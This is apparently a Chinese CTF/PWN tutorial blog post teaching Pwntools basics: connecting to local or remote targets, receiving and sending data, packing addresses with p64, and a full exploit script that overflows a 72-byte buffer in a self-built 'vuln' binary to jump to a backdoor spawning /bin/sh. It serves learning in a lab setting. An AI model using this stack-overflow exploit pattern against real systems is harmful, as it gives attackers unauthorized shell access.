当前位置: 首页 > news >正文

【学习记录】Week1:Pwntools 基础——连接、接收与发送 Payload 实操

写在前面:在前面的几篇博客中,我们已经学会了用objdump看汇编,算出了偏移量是 72,也理解了小端序和 64 位的传参规则。但现在我们一直在用终端手动输入字符调试,这显然无法输入不可见的十六进制地址。
今天,我们将引入 PWN 界的最强神器 ——Pwntools。它是 Python 的一个 CTF 漏洞利用库,能让我们用极其优雅的代码完成连接、发送 Payload 和获取 Shell 的全过程。

📑 目录

  1. 环境准备:安装 Pwntools
  2. 核心概念:万物皆可p
  3. 基础 API 详解(连接、接收、发送)
  4. 地址打包神器:p32p64
  5. 实战演练:编写第一个完整 Exploit 脚本
  6. 交互神器:p.interactive()
  7. Week1 全程总结

1. 环境准备:安装 Pwntools

在 WSL2/Ubuntu 终端中执行以下命令安装 Pwntools(如果之前装 pwndbg 时没装的话):

# 更新软件源并安装 pip sudo apt update sudo apt install python3-pip -y # 安装 pwntools pip3 install pwntools

安装完成后,在终端输入python3进入交互环境,输入from pwn import *。如果没有报错,说明安装成功!(首次导入可能会有些警告信息,属于正常现象)。

2. 核心概念:万物皆可p

在 Pwntools 中,最常用的对象是p(或者说io,r,大家习惯叫它p)。它代表了你与目标程序的连接通道
无论是本地执行一个程序,还是远程连接一个 CTF 题目的服务器,一旦建立了连接,后续的发送和接收操作都是针对这个p进行的。

3. 基础 API 详解

3.1 建立连接

  • 本地打靶p = process('./vuln')
    这会像你在终端输入./vuln一样启动一个本地进程,并建立用于通信的管道。
  • 远程打靶p = remote('127.0.0.1', 9999)
    这会通过 TCP 连接到指定 IP 和端口的目标程序(通常用于打线上题)。

3.2 接收数据

有时候程序会打印一些提示信息(比如Please input:),我们需要把这些信息接收下来,确保程序执行到了我们想要的位置。

  • p.recv():接收所有可用数据。
  • p.recvline():接收一行数据(遇到\n停止)。
  • p.recvuntil('Please input: ')最常用,一直接收数据,直到遇到指定的字符串为止。这非常适合用来同步本地脚本和远程程序的执行流。

3.3 发送数据

把我们构造好的 Payload 发送过去。

  • p.send(payload):直接发送数据,不会自动加换行符。
  • p.sendline(payload):发送数据,并自动在末尾加上一个换行符\n
    注意:gets()函数遇到换行符才会结束读取,所以打gets漏洞时通常用sendline;而如果是read()函数,通常用send

4. 地址打包神器:p32p64

还记得我们讲过的小端序吗?我们需要把0x401156这样的地址变成\x56\x11\x40\x00...才能放进 Payload 里。

Pwntools 提供了自动转换的函数:

  • p32(0x401156):将整数打包为 32 位小端序字节流。
  • p64(0x401156):将整数打包为 64 位小端序字节流。
  • u32(b'\x56\x11\x40\x00'):解包,把字节流转回整数(用于信息泄露时还原地址)。

5. 实战演练:编写第一个完整 Exploit 脚本

让我们结合上一篇博客中分析的vuln程序(偏移量 72,64位程序),写一个完整的攻击脚本!

假设我们在vuln.c中加了一个后门函数void secret() { system("/bin/sh"); },我们通过objdump查到secret函数的地址是0x401156。我们要用栈溢出跳转到secret拿 Shell。

新建一个文件exp.py

from pwn import * # 1. 设置运行环境架构(可选,但好习惯) context(arch='amd64', os='linux', log_level='debug') # 2. 建立连接(本地打靶) p = process('./vuln') # 3. 构造 Payload offset = 72 target_addr = 0x401156 # 填充 72 字节垃圾数据,后面跟上目标地址(自动转小端序) payload = b'A' * offset + p64(target_addr) # 4. 接收程序的提示信息(可选操作,为了同步) # 假设 vuln.c 里有 printf("Please input: "); p.recvuntil(b'Please input: ') # 5. 发送 Payload p.sendline(payload) # 6. 进入交互模式 p.interactive()

脚本解析:

  • context(...):设置环境为 64 位 Linux。log_level='debug'会让你在终端看到所有发送和接收的原始十六进制数据,新手必开,方便排错。
  • b'A' * offset:注意在 Python3 中,字节串前面要加b
  • p.interactive()最神奇的一行代码。当 Payload 发送完毕,如果成功劫持了控制流并执行了system("/bin/sh"),这行代码会把你的终端控制权交给被攻击的程序。此时你可以直接在终端输入lscat flag.txt等命令,就像直接 SSH 登录上去了一样!

6. 运行你的 Exploit

在终端执行:

python3 exp.py

如果一切顺利,你会看到 Pwntools 打印出一堆 Debug 信息,然后光标停住。此时你输入idls,如果能返回结果,恭喜你,你成功完成了人生中第一次完整的 PWN!

如果你跟着我走到了这一步,说明你已经具备了极强的学习能力和耐心。PWN 的大门已经向你敞开!如果本系列文章对你有帮助,请一键三连支持一下,我们 Week2 见!🙏

http://www.gsyq.cn/news/1602993.html

相关文章:

  • Simple Runtime Window Editor:三步突破游戏分辨率限制,打造专业级截图工具
  • 社论:拥抱贾子理论大厦:AI时代中国思想主权的战略觉醒
  • 星盾(Starshield)与星链(Starlink)系统架构差异解析:PWSA框架下的军用低轨星座独立体系与作战应用
  • Mi-Create开源表盘设计工具:可视化操作打造个性化小米手表表盘
  • 程序员真正的天花板,不是技术,是表达
  • 如何彻底解决Cursor试用限制:从设备指纹识别到一键重置的完整指南
  • 从零构建企业级iSCSI存储:Openfiler安装与基础服务配置实战
  • 从Swin到Video Swin:时空Transformer如何重塑视频理解
  • 从图形化到代码:基于ESP8266与米思齐的温室大棚控制逻辑深度解析
  • ESP8266 NodeMCU物联网实战速成(基于Arduino IDE)——从环境搭建到MQTT全链路开发
  • AI赋能Burp Suite:智能Web漏洞扫描与WAF绕过实战解析
  • AR 镀膜技术原理:为什么能减少反光?——悟赫德护景贴观复盾的抗反射实现
  • 企业官网的信息架构设计:从内容建模、导航到 URL 与内链
  • 世界模型、元宇宙、数字孪生、物理AI:它们是一回事吗?
  • FreeRTOS源码详解(一)——申请和释放内存
  • 小红书SEO怎么做?关键词布局是第一步
  • 模型费用篇《DeepSeek V4-Flash 写代码“有点贵”?一文讲透模型费用真相与省心技巧》
  • 游戏公会推广系统怎么搭建?6个选型重点
  • Parsec VDD虚拟显示器终极指南:释放Windows显示潜能的完整解决方案
  • Spring-Boot-4.0正式发布
  • 预测性维护终极指南:从数据采集到机器学习落地的完整路径
  • 【无标题】当车间遇上比特流:我的《工业互联网组建与维护》修罗场实录
  • 应该很快就能搞定图片选择的问题了
  • TPA6140A2耳机放大器:Class-G与DirectPath技术解析与设计实践
  • Prompt 工程实战——写好 prompt 的方法论:思维链、少样本示例、从差到好
  • Windows 10也能运行Android应用?逆向移植Android子系统的完整实战指南
  • 【超级个体修炼手册】从“做事“到“养系统“的心态切换:用 AI 实现端到端闭环
  • 从Swish到SwiGLU:深入解析LLaMA为何选择门控激活函数
  • Open Harmony 高端精致:layered-image 分层图标资源配置实践
  • 从零构建企业级RAG智能问答系统:FastAPI工程化落地全攻略